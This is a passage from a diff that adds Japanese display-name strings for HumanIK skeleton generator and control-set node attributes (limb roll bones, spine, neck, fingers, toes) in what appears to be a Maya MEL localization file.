"HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4R", "左前腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Rx", "左前腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Ry", "左前腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Rz", "左前腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4S", "左前腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Sx", "左前腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Sy", "左前腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Sz", "左前腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4T", "右腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Tx", "右腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Ty", "右腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Tz", "右腕ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4R", "右腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Rx", "右腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Ry", "右腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Rz", "右腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4S", "右腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Sx", "右腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Sy", "右腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Sz", "右腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4T", "右前腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Tx", "右前腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Ty", "右前腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Tz", "右前腕ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4R", "右前腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Rx", "右前腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Ry", "右前腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Rz", "右前腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4S", "右前腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Sx", "右前腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Sy", "右前腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Sz", "右前腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5T", "左大腿部ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Tx", "左大腿部ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Ty", "左大腿部ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Tz", "左大腿部ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5R", "左大腿部ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Rx", "左大腿部ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Ry", "左大腿部ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Rz", "左大腿部ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5S", "左大腿部ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Sx", "左大腿部ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Sy", "左大腿部ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Sz", "左大腿部ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5T", "左脚ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Tx", "左脚ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Ty", "左脚ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Tz", "左脚ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5R", "左脚ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Rx", "左脚ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Ry", "左脚ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Rz", "左脚ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5S", "左脚ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Sx", "左脚ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Sy", "左脚ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Sz", "左脚ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5T", "右大腿部ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Tx", "右大腿部ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Ty", "右大腿部ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Tz", "右大腿部ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5R", "右大腿部ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Rx", "右大腿部ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Ry", "右大腿部ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Rz", "右大腿部ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5S", "右大腿部ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Sx", "右大腿部ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Sy", "右大腿部ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Sz", "右大腿部ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5T", "右脚ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Tx", "右脚ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Ty", "右脚ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Tz", "右脚ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5R", "右脚ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Rx", "右脚ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Ry", "右脚ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Rz", "右脚ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5S", "右脚ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Sx", "右脚ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Sy", "右脚ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Sz", "右脚ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5T", "左腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Tx", "左腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Ty", "左腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Tz", "左腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5R", "左腕ロール 5R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Rx", "左腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Ry", "左腕ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Rz", "左腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5S", "左腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Sx", "左腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Sy", "左腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Sz", "左腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5T", "左前腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Tx", "左前腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Ty", "左前腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Tz", "左前腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5R", "左前腕ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Rx", "左前腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Ry", "左前腕ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Rz", "左前腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5S", "左前腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Sx", "左前腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Sy", "左前腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Sz", "左前腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5T", "右腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Tx", "右腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Ty", "右腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Tz", "右腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5R", "右腕ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Rx", "右腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Ry", "右腕ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Rz", "右腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5S", "右腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Sx", "右腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Sy", "右腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Sz", "右腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5T", "右前腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Tx", "右前腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Ty", "右前腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Tz", "右前腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5R", "右前腕ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Rx", "右前腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Ry", "右前腕ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Rz", "右前腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5S", "右前腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Sx", "右前腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Sy", "右前腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Sz", "右前腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "fza", "フリーズの影響を受ける" ); +// +// Node: HIKControlSetNode +// +setNodeNiceNameResource( "HIKControlSetNode", "HIKControl Set ノード" ); +setAttrNiceNameResource( "HIKControlSetNode", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKControlSetNode", "HIC", "入力キャラクタ定義" ); +setAttrNiceNameResource( "HIKControlSetNode", "Reference", "リファレンス" ); +setAttrNiceNameResource( "HIKControlSetNode", "Hips", "ヒップ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftUpLeg", "左大腿部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftLeg", "左脚" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFoot", "左足" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightUpLeg", "右大腿部" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightLeg", "右脚" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFoot", "右足" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine", "脊椎" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftArm", "左腕" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftForeArm", "左前腕" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHand", "左手" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightArm", "右腕" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightForeArm", "右前腕" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHand", "右手" ); +setAttrNiceNameResource( "HIKControlSetNode", "Head", "頭部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftToeBase", "左足指のベース" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightToeBase", "右足指のベース" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftShoulder", "左肩" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightShoulder", "右肩" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck", "首" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFingerBase", "左指のベース" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFingerBase", "右指のベース" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine1", "脊椎 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine2", "脊椎 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine3", "脊椎 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine4", "脊椎 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine5", "脊椎 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine6", "脊椎 6" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine7", "脊椎 7" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine8", "脊椎 8" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine9", "脊椎 9" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck1", "首 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck2", "首 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck3", "首 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck4", "首 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck5", "首 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck6", "首 6" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck7", "首 7" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck8", "首 8" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck9", "首 9" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftUpLegRoll", "左大腿部ロール" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftLegRoll", "左脚ロール" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightUpLegRoll", "右大腿部ロール" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightLegRoll", "右脚ロール" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftArmRoll", "左腕のロール" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftForeArmRoll", "左前腕のロール" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightArmRoll", "右腕のロール" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightForeArmRoll", "右前腕のロール" ); +setAttrNiceNameResource( "HIKControlSetNode", "HipsTranslation", "ヒップの移動" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandThumb1", "左手親指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandThumb2", "左手親指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandThumb3", "左手親指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandThumb4", "左手親指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandIndex1", "左手人差指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandIndex2", "左手人差指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandIndex3", "左手人差指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandIndex4", "左手人差指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandMiddle1", "左手中指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandMiddle2", "左手中指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandMiddle3", "左手中指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandMiddle4", "左手中指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandRing1", "左手薬指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandRing2", "左手薬指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandRing3", "左手薬指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandRing4", "左手薬指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandPinky1", "左手小指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandPinky2", "左手小指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandPinky3", "左手小指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandPinky4", "左手小指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandExtraFinger1", "左手追加指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandExtraFinger2", "左手追加指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandExtraFinger3", "左手追加指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandExtraFinger4", "左手追加指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandThumb1", "右手親指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandThumb2", "右手親指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandThumb3", "右手親指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandThumb4", "右手親指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandIndex1", "右手人差指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandIndex2", "右手人差指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandIndex3", "右手人差指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandIndex4", "右手人差指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandMiddle1", "右手中指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandMiddle2", "右手中指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandMiddle3", "右手中指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandMiddle4", "右手中指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandRing1", "右手薬指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandRing2", "右手薬指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandRing3", "右手薬指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandRing4", "右手薬指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandPinky1", "右手小指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandPinky2", "右手小指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandPinky3", "右手小指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandPinky4", "右手小指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandExtraFinger1", "右手追加指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandExtraFinger2", "右手追加指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandExtraFinger3", "右手追加指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandExtraFinger4", "右手追加指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootThumb1", "左足親指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootThumb2", "左足親指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootThumb3", "左足親指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootThumb4", "左足親指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootIndex1", "左足人差指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootIndex2", "左足人差指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootIndex3", "左足人差指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootIndex4", "左足人差指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootMiddle1", "左足中指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootMiddle2", "左足中指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootMiddle3", "左足中指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootMiddle4", "左足中指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootRing1", "左足薬指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootRing2", "左足薬指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootRing3", "左足薬指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootRing4", "左足薬指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootPinky1", "左足小指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootPinky2", "左足小指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootPinky3", "左足小指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootPinky4", "左足小指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootExtraFinger1", "左足追加指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootExtraFinger2", "左足追加指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootExtraFinger3", "左足追加指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootExtraFinger4", "左足追加指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootThumb1", "右足親指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootThumb2", "右足親指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootThumb3", "右足親指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootThumb4", "右足親指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootIndex1", "右足人差指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootIndex2", "右足人差指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootIndex3", "右足人差指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootIndex4", "右足人差指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootMiddle1", "右足中指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootMiddle2", "右足中指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootMiddle3", "右足中指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootMiddle4", "右足中指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootRing1", "右足薬指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootRing2", "右足薬指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootRing3", "右足薬指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootRing4", "右足薬指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootPinky1", "右足小指 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootPinky2", "右足小指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootPinky3", "右足小指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootPinky4", "右足小指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootExtraFinger1", "右足追加指 1" ); 